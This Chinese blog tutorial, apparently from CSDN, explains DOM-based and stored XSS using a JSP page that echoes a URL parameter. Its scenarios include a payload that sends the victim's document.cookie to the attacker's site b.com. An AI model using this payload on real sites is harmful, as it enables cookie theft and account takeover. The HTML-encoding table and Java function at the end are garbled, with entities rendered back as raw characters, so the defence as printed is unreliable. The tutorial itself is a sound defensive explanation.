XSS(Cross SiteScript),跨站腳本攻擊,是用於客戶端的攻擊方式。html
1、原理:java
攻擊者向有XSS漏洞的網站中傳入惡意的HTML代碼,當其它用戶瀏覽時,這段HTML代碼就會自動執行。例如:盜取用戶Cookies、破壞頁面結構、重定向到其它網站等。mysql
2、XSS攻擊:sql
相似於SQL注入攻擊。數據庫
XSS漏洞分爲兩種,一種是DOM Based XSS漏洞,另外一種是Stored XSS漏洞。瀏覽器
全部可輸入的地方沒有對輸入數據進行處理的話,都會存在XSS漏洞,漏洞的危害取決於攻擊代碼的威力,攻擊代碼也不侷限於script。服務器
DOM Based XSS:cookie
是一種基於網頁DOM結構的攻擊。app
場景:less
當我登陸a.com後,我發現它的頁面某些內容是根據url中的一個叫content參數直接顯示的,猜想它的頁面處理多是這樣的,其它語言相似。
<%@ page language="Java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>XSS測試</title>
</head>
<body>
頁面內容:<%=request.getParameter("content")%>
</body>
</html>
我知道了Tom也註冊了該網站,而且知道了他的郵箱(或者其它能接收信息的聯繫方式),我作一個超連接發給他,超連接地址爲:http://www.a.com?content=<script>window.open(「www.b.com?param=」+document.cookie)</script>,當Tom點擊這個連接的時候(假設他已經登陸a.com),瀏覽器就會直接打開b.com,而且把Tom在a.com中的cookie信息發送到b.com,b.com是我搭建的網站,當個人網站接收到該信息時,我就盜取了Tom在a.com的cookie信息,cookie信息中可能存有登陸密碼,攻擊成功!這個過程當中,受害者只有Tom本身。
是存儲式XSS漏洞,因爲其攻擊代碼已經存儲到服務器上或者數據庫中,因此受害者是不少人。
場景:
a.com能夠發文章,我登陸後在a.com中發佈了一篇文章,文章中包含了惡意代碼,<script>window.open(「www.b.com?param=」+document.cookie)</script>,保存文章。這時Tom和Jack看到了我發佈的文章,當在查看個人文章時就都中招了,他們的cookie信息都發送到了個人服務器上,攻擊成功!這個過程當中,受害者是多我的。
Stored XSS漏洞危害性更大,危害面更廣。
永遠不相信用戶的輸入。須要對用戶的輸入進行處理,只容許輸入合法的值,其它值一律過濾掉。
假如某些狀況下,咱們不能對用戶數據進行嚴格的過濾,那咱們也須要對標籤進行轉換。
less-than character (<) |
< |
greater-than character (>) |
> |
ampersand character (&) |
& |
double-quote character (") |
" |
space character( ) |
|
Any ASCII code character whose code is greater-than or equal to 0x80 |
&#<number>, where <number> is the ASCII character value. |
好比用戶輸入:<script>window.location.href=」http://www.baidu.com」;</script>,保存後最終存儲的會是:<script>window.location.href="http://www.baidu.com"</script>在展示時瀏覽器會對這些字符轉換成文本內容顯示,而不是一段可執行的代碼。
StringEscapeUtils.escapeHtml(str);// 漢字會轉換成對應的ASCII碼,空格不轉換 |
private static String htmlEncode(char c) { switch(c) { case '&': return "&"; case '<': return "<"; case '>': return ">"; case '"': return """; case ' ': return " "; default: return c + ""; } }
/** 對傳入的字符串str進行Html encode轉換 */ public static String htmlEncode(String str) { if (str ==null || str.trim().equals("")) return str; StringBuilder encodeStrBuilder = new StringBuilder(); for (int i = 0, len = str.length(); i < len; i++) { encodeStrBuilder.append(htmlEncode(str.charAt(i))); } return encodeStrBuilder.toString(); } |
本文來自:高爽|Coder,原文地址:http://blog.csdn.net/ghsau/article/details/17027893,轉載請註明。